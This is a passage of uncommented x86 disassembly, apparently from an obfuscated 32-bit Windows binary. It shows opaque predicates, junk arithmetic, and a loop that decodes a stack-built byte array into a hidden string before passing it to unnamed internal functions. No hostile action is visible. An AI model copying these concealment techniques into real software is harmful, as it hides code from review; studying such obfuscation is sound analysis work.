jl 0x1004122e
mov dword [ebp - 0x720], 1
mov dword [ebp - 0x580], 0xcf54ceaa
mov dword [ebp - 0x900], 0x3d7fba34
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xc40], 0x1dcede6a
mov eax, 0x1dcede6a
test eax, eax
je 0x10041092
mov eax, 0x3b020b2d
test eax, eax
je 0x10041092
mov dword [ebp - 0x578], 1
jmp 0x10041099
and dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x578]
mov dword [ebp - 0x720], eax
mov eax, dword [ebp - 0x720]
neg eax
mov dword [ebp - 0x580], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x340]
cmp dword [ebp - 0x580], eax
jne 0x100410d1
mov dword [ebp - 0x698], 1
jmp 0x100410d8
and dword [ebp - 0x698], 0
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x698]
jl 0x100410ef
mov dword [ebp - 0x588], 1
jmp 0x100410f6
and dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x588]
add eax, 0x1d319d7f
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ebp + ecx*4 - 0x340]
jl 0x10041119
mov dword [ebp - 0x798], 1
jmp 0x10041120
and dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x798]
sub eax, dword [ebp - 0x900]
mov dword [ebp - 0x590], eax
je 0x10041149
cmp dword [ebp - 0x3b8], 0
je 0x10041149
mov dword [ebp - 0x6a0], 1
jmp 0x10041150
and dword [ebp - 0x6a0], 0
imul eax, dword [ebp - 0x6a0], 0xffffffff
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ebp + ecx*4 - 0x340]
jne 0x1004116f
mov dword [ebp - 0x598], 1
jmp 0x10041176
and dword [ebp - 0x598], 0
cmp dword [ebp - 0x598], 5
jg 0x1004118b
mov dword [ebp - 0x728], 1
jmp 0x10041192
and dword [ebp - 0x728], 0
cmp dword [ebp - 0x728], 1
jne 0x100411a7
mov dword [ebp - 0x5a0], 1
jmp 0x100411ae
and dword [ebp - 0x5a0], 0
cmp dword [ebp - 0x5a0], 0
je 0x100411ca
push 6
pop eax
test eax, eax
je 0x100411ca
mov dword [ebp - 0x6a8], 1
jmp 0x100411d1
and dword [ebp - 0x6a8], 0
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp + eax*4 - 0x340]
cmp eax, dword [ebp - 0x6a8]
jne 0x100411f2
mov dword [ebp - 0x5a8], 1
jmp 0x100411f9
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x5a8]
sub ecx, dword [ebp + eax*4 - 0x340]
sub ecx, dword [ebp - 0x860]
add ecx, dword [ebp - 0x970]
imul ecx, dword [ebp - 0x100]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x868], ecx
jmp 0x1004102b
jmp 0x10040fb4
jmp 0x10040dde
mov byte [ebp - 0x258], 1
mov byte [ebp - 0x257], 0x5e
mov byte [ebp - 0x256], 3
mov byte [ebp - 0x255], 4
mov byte [ebp - 0x254], 0x29
mov byte [ebp - 0x253], 0xdc
mov byte [ebp - 0x252], 0xcd
mov byte [ebp - 0x251], 0xc9
mov byte [ebp - 0x250], 0x71
mov byte [ebp - 0x24f], 0x5b
mov byte [ebp - 0x24e], 0x9a
mov byte [ebp - 0x24d], 0x3e
mov byte [ebp - 0x24c], 0xee
mov byte [ebp - 0x24b], 0x8d
mov byte [ebp - 0x24a], 0x51
mov byte [ebp - 0x249], 0x47
mov byte [ebp - 0x248], 5
mov byte [ebp - 0x247], 0xee
mov byte [ebp - 0x246], 0xb
mov byte [ebp - 0x245], 0x3c
mov byte [ebp - 0x244], 0x16
mov byte [ebp - 0x243], 0x6f
mov byte [ebp - 0x242], 0x60
mov byte [ebp - 0x241], 0xcd
mov byte [ebp - 0x240], 0x58
mov byte [ebp - 0x23f], 0x4f
mov byte [ebp - 0x23e], 0xb4
mov byte [ebp - 0x23d], 0x3a
mov byte [ebp - 0x23c], 0x90
mov byte [ebp - 0x23b], 0x78
mov byte [ebp - 0x23a], 0x61
mov byte [ebp - 0x239], 0x5f
mov byte [ebp - 0x238], 0xb2
mov byte [ebp - 0x237], 0x28
mov byte [ebp - 0x236], 0xa2
mov byte [ebp - 0x235], 0xf5
mov byte [ebp - 0x234], 0x7c
mov byte [ebp - 0x233], 0xb6
mov byte [ebp - 0x232], 0xf8
mov byte [ebp - 0x231], 0x15
mov byte [ebp - 0x230], 0xb7
mov byte [ebp - 0x22f], 0xda
mov byte [ebp - 0x22e], 0x48
mov byte [ebp - 0x22d], 0x4a
mov byte [ebp - 0x22c], 0xbd
mov byte [ebp - 0x22b], 0x32
mov byte [ebp - 0x22a], 7
mov byte [ebp - 0x229], 4
mov byte [ebp - 0x228], 8
mov byte [ebp - 0x227], 6
mov byte [ebp - 0x226], 5
mov byte [ebp - 0x225], 1
mov byte [ebp - 0x224], 2
mov byte [ebp - 0x223], 6
mov byte [ebp - 0x222], 6
mov byte [ebp - 0x221], 0xe
mov byte [ebp - 0x220], 9
mov byte [ebp - 0x21f], 9
mov byte [ebp - 0x21e], 4
mov byte [ebp - 0x21d], 4
mov byte [ebp - 0x21c], 0
mov byte [ebp - 0x21b], 5
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x258]
or eax, 0x68
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x258]
and ecx, 0x68
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x258]
mov byte [ebp + ecx - 0x7c8], al
mov dword [ebp - 0x28], 2
and dword [ebp - 0x108], 0
jmp 0x1004143b
mov eax, dword [ebp - 0x28]
inc eax
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x3e
jae 0x10041528
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x258]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x28], eax
jne 0x10041485
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x258]
inc eax
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x258]
mov ecx, dword [ebp - 0x28]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x28], eax
jmp 0x10041433
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x257]
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x108]
movzx ecx, byte [ebp + ecx - 0x25a]
movsx ecx, byte [ebp + ecx - 0x7c8]
add eax, ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x257]
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x108]
movzx edx, byte [ebp + edx - 0x25a]
movsx edx, byte [ebp + edx - 0x7c8]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x257]
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x108]
movzx edx, byte [ebp + edx - 0x25a]
movsx edx, byte [ebp + edx - 0x7c8]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0x258]
mov byte [ebp + ecx - 0x7c8], al
push 0x287a
lea eax, [ebp - 0x108]
push eax
push 1
call fcn.1003dcd8
add esp, 0xc
jmp 0x10041433
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x7c8], 0
lea eax, [ebp - 0x7c8]
push eax
lea ecx, [ebp - 0xd28]
call fcn.10021a42
mov dword [ebp - 0x908], eax
mov eax, dword [ebp - 0x908]
mov dword [ebp - 0x870], eax
mov dword [ebp - 4], 1
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x870]
call fcn.1002b9ef
pop ecx
mov dword [ebp - 0x918], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd28]
call fcn.100147c9
mov dword [ebp - 0xc8], 0xffffffff
mov dword [ebp - 0x880], 0x65d3384f
mov dword [ebp - 0x6c], 0
jmp 0x100415aa
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 4
jge 0x100415c0
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x7bc], 0
jmp 0x100415a3
mov dword [ebp - 0x6c], 0
jmp 0x100415d0
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 1
jge 0x100415e6
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0xa0], 0x9a2
jmp 0x100415c9
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0xad0], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x7bc]
cmp dword [ebp + eax - 0x7bc], ecx
jg 0x1004161a
mov dword [ebp - 0x76c], 1
jmp 0x10041621
and dword [ebp - 0x76c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7bc]
cmp dword [ebp - 0x76c], eax
jne 0x10041642
mov dword [ebp - 0x5b0], 1
jmp 0x10041649
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x5b0]
add ecx, 0x6c79
imul eax, ecx
test eax, eax
je 0x1004167e
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7bc], 0
je 0x1004167e
mov dword [ebp - 0x6b0], 1
jmp 0x10041685
and dword [ebp - 0x6b0], 0
mov eax, dword [ebp - 0x6b0]
add eax, 0x6ee4e912
mov dword [ebp - 0x958], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x958]
mov dword [ebp + eax - 0x7bc], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa0]
mov dword [ebp - 0xa28], eax
xor eax, eax
je 0x100416e9
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc8]
mov dword [ebp + eax - 0x7bc], ecx
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x7bc], 0xffffffff
jmp 0x100419ad
mov dword [ebp - 0x208], 0xe069
mov dword [ebp - 0x120], 0x35cb5140
mov dword [ebp - 0x3a4], 0x56d4c01e
mov dword [ebp - 0x980], 1
mov dword [ebp - 0x198], 0
jmp 0x1004172a
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 3
jge 0x10041746
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0xba4], 0x2b873148
jmp 0x1004171d
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0xaf4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa0]
mov dword [ebp - 0xa30], eax
mov eax, dword [ebp - 0x208]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xa0]
jle 0x10041787
mov dword [ebp - 0x5b8], 1
jmp 0x1004178e
and dword [ebp - 0x5b8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7bc]
mov dword [ebp - 0x3a4], eax
mov eax, dword [ebp - 0x3a4]
sub eax, dword [ebp - 0x5b8]
je 0x100417cb
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa0], 0
je 0x100417cb
mov dword [ebp - 0x730], 1
jmp 0x100417d2
and dword [ebp - 0x730], 0
cmp dword [ebp - 0x730], 0xf5b872a
jge 0x100417ea
mov dword [ebp - 0x5c0], 1
jmp 0x100417f1
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x5c0]
jne 0x1004181b
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa0], 0
je 0x1004181b
mov dword [ebp - 0x878], 1
jmp 0x10041822
and dword [ebp - 0x878], 0
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0xae0], eax
cmp dword [ebp - 0x120], 0
jne 0x10041850
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x7bc], 0
jne 0x10041850
and dword [ebp - 0x910], 0
jmp 0x1004185a
mov dword [ebp - 0x910], 1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7bc], 0xffffffff
jne 0x10041876
mov dword [ebp - 0x6b8], 1
jmp 0x1004187d
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x208]
cmp dword [ebp - 0x6b8], eax
jge 0x10041897
mov dword [ebp - 0x370], 1
jmp 0x1004189e
and dword [ebp - 0x370], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x370]
mov dword [ebp + eax - 0x7bc], ecx
mov eax, dword [ebp - 0x370]
mov dword [ebp - 0x880], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa0]
mov dword [ebp - 0xa38], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0xaf8], eax
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0xa40], eax
mov eax, dword [ebp - 0xc8]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0xa0]
cmp eax, dword [ebp - 0x208]
jg 0x10041919
cmp dword [ebp - 0x3a4], 0
je 0x10041919
mov dword [ebp - 0x5c8], 1
jmp 0x10041920
and dword [ebp - 0x5c8], 0
imul eax, dword [ebp - 0x5c8], 0
cmp eax, dword [ebp - 0xc8]
jg 0x10041944
cmp dword [ebp - 0x120], 0
je 0x10041944
mov dword [ebp - 0x3e8], 1
jmp 0x1004194b
and dword [ebp - 0x3e8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa0]
cmp dword [ebp - 0x3e8], eax
jle 0x1004196c
mov dword [ebp - 0x3ec], 1
jmp 0x10041973
and dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x3ec]
sub eax, dword [ebp - 0xc8]
cmp eax, dword [ebp - 0x980]
jle 0x10041993
mov dword [ebp - 0x3f4], 1
jmp 0x1004199a
and dword [ebp - 0x3f4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp + eax - 0xba4], ecx
and dword [ebp - 0x1a0], 0
jmp 0x100419c3
cmp dword [ebp - 0x1a0], 0xb
jae 0x100419dc
mov eax, dword [ebp - 0x1a0]
mov byte [ebp + eax - 0x7c8], 0
jmp 0x100419b6
mov dword [ebp - 0x44], 0
jmp 0x100419ec
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x89c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x8a4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x8ac], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x8b4], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x8bc], eax
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0x8e4], eax
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp - 0x8ac]
mov dword [ebp - 0x8d4], eax
mov eax, dword [ebp - 0x8b4]
mov dword [ebp - 0x8cc], eax
mov eax, dword [ebp - 0x8bc]
mov dword [ebp - 0x8c4], eax
push 0
mov eax, dword [ebp - 0x8c4]
push dword [eax]
mov eax, dword [ebp - 0x8cc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x8d4]
mov ecx, dword [ecx]
add ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x8dc]
mov eax, dword [eax]
add eax, ecx
push eax
mov ecx, dword [ebp - 0x8e4]
call fcn.100448e8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret